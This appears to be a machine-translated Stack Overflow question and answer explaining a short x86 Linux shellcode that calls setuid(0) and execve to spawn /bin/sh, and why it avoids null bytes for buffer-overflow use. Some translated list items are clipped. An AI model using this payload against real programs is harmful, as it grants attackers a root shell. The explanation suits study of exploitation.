这是一个利用缓冲区溢出漏洞的shellcode。它设置setuid(0)
并使用execve()
生成一个shell。以下是我解释它的方式:
xor %ebx,%ebx ; Xoring to make ebx value 0
lea 0x17(%ebx),%eax ; adds 23 to 0 and loads effective addr to eax. for setuid()
int $0x80 ; interrupt
push %ebx ; push ebx
push $0x68732f6e ; push address // why this address only????
push $0x69622f2f ; push address // same question
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
cltd ; mov execve sys call into al
mov $0xb,%al
int $0x80 ; interrupt
任何人都可以清楚地解释整个步骤吗?
答案 0 :(得分:11)
int
是用于触发软件中断的操作码。软件中断编号(从0到255)并由内核处理。在Linux系统上,中断128(0x80)是系统调用的常规入口点。内核期望寄存器中的系统调用参数;特别是,%eax寄存器识别我们正在谈论的系统调用。
lea
作为“加载有效地址”但不涉及内存访问;这只是一种添加的狡猾方式。)< / LI>
setuid
。该系统调用使用一个参数(目标UID),可在%ebx中找到,该ebx在该点方便地包含0(它在第一条指令中设置)。注意:返回时,寄存器是未修改的,%eax除外,它包含系统调用的返回值,通常为0(如果调用成功)。setuid
返回的状态)。execve
系统调用将用作第二个参数的内容。cltd
是英特尔文档称之为cdq
的AT&amp; T语法。由于此时%eax为零,因此将%edx设置为零。execve
。 execve
需要三个参数,在%ebx中(指向要命令执行文件的字符串的指针),%ecx(指向字符串指针数组的指针,这是程序参数,第一个是副本程序名,由调用程序本身使用)和%edx(指向字符串指针数组的指针,这是环境变量; Linux允许该值为NULL,对于空环境)。所以代码首先调用setuid(0)
,然后调用execve("//bin/sh", x, 0)
,其中x
指向两个指针的数组,第一个是指向“// bin / sh”的指针,而另一个是NULL。
这段代码非常复杂,因为它想要避免零:当组装成二进制操作码时,指令序列仅使用非零字节。例如,如果第12条指令是movl $0xb,%eax
(将整个%eax设置为11),那么该操作码的二进制表示将包含三个字节的值0.缺少零使得该序列可用作零终止C字符串的内容。当然,这是为了通过缓冲区溢出来攻击有缺陷的程序。